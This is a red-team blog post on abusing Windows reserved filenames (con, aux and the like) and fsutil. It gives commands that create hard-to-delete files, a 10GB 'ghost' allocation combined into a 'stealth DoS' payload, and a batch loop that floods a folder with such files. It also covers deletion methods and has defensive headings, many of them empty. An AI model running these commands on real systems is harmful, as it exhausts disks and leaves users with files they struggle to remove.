Windows Reserved Filenames Exploit & Ghost File Abuse

πŸ“… Published April 1, 2026 Β·windowsred-teamattack-techniquesvulnerability-research

Written by Aryan Giri


🎯 Overview

Windows still carries legacy behavior from MS-DOS where certain filenames like con, nul, aux, prn, com1–com9, and lpt1–lpt9 are treated as device handles instead of normal files.

This creates a strange but powerful edge case:

This is not a classic vulnerabilityβ€”it's a design artifact turned attack primitive.


🧬 Core Concept (Why This Exists)

These names map directly to hardware or system interfaces:

Windows NT still preserves this behavior for backward compatibility.

πŸ‘‰ When you try to interact with these as files, Windows internally redirects operations to devices.


βš”οΈ Technique 1: Creating Undeletable Files

πŸ”¬ Concept

Windows blocks these names at a high level, but not at the Win32 device namespace level.

By using the special prefix \\.\, we bypass standard checks.

πŸ’» Practical Demo

:: Create undeletable file
echo Hello > \\.\D:\con.txt

🧠 What Happens

πŸ‘‰ The system treats it as a device, not a file


βš”οΈ Technique 2: Ghost File via fsutil

πŸ”¬ Concept

fsutil creates files with a defined size without actually writing data (sparse-like behavior perception).

πŸ’» Practical Demo

:: Create 10GB ghost file
fsutil file createnew D:\ghost.txt 10737418240

🧠 What Happens

πŸ‘‰ Perfect for stealth disk exhaustion


☠️ Technique 3: Combining Both (Stealth DoS Primitive)

πŸ’» Payload

:: Undeletable + 10GB allocation
fsutil file createnew \\.\D:\convirus 10737418240

🧠 Impact

πŸ‘‰ This becomes a low-noise Denial-of-Service vector


πŸ§ͺ Bulk Exploitation (Automation)

@echo off
for /l %%x in (1,1,100) do (
  echo Hello > \\.\C:\Test\con%%x.txt
)

🧠 Result

πŸ‘‰ This simulates a denial-of-desktop attack


⚠️ Windows Behavior Analysis

Windows 10

Windows 11

πŸ‘‰ Microsoft partially patched behavior, not the root design


🧹 Deletion Techniques (Bypassing the Trick)

πŸ› οΈ Method 1: UNC Device Path

del \\.\C:\Users\YourUser\Desktop\con.txt

πŸ› οΈ Method 2: WSL (Most Reliable)

wsl
rm convirus

πŸ‘‰ Linux layer ignores Windows device semantics


πŸ› οΈ Method 3: Python WinAPI

import win32file

file_path = r'\\.\\C:\\Users\\YourUser\\Desktop\\con.txt'
win32file.DeleteFile(file_path)

πŸ‘‰ Direct WinAPI bypasses high-level restrictions


πŸ›‘οΈ Defensive Strategies

πŸ” Awareness

🧠 Monitoring

βš™οΈ Controls

πŸ§ͺ Detection Idea


βš”οΈ Red Team Use Cases

πŸ‘‰ This is psychological + technical impact, not just exploitation


🧠 Ethical Reflection

This technique highlights a deeper reality:

Legacy compatibility often becomes a modern attack surface.

Windows keeps these behaviors for stabilityβ€”but attackers turn them into primitives.

So the real question:

πŸ‘‰ Should operating systems prioritize backward compatibility, or security?


πŸ“Œ Key Commands Recap

:: Undeletable file
echo Hello > \\.\D:\con.txt

:: 10GB ghost file
fsutil file createnew D:\ghost.txt 10737418240

:: Combined attack
fsutil file createnew \\.\D:\convirus 10737418240

:: Delete via WSL
wsl
rm convirus

🧨 Final Thoughts

This is not "malware" by itself.

But in the hands of an attacker:

πŸ‘‰ The danger is not the techniqueβ€”it's the automation + intent.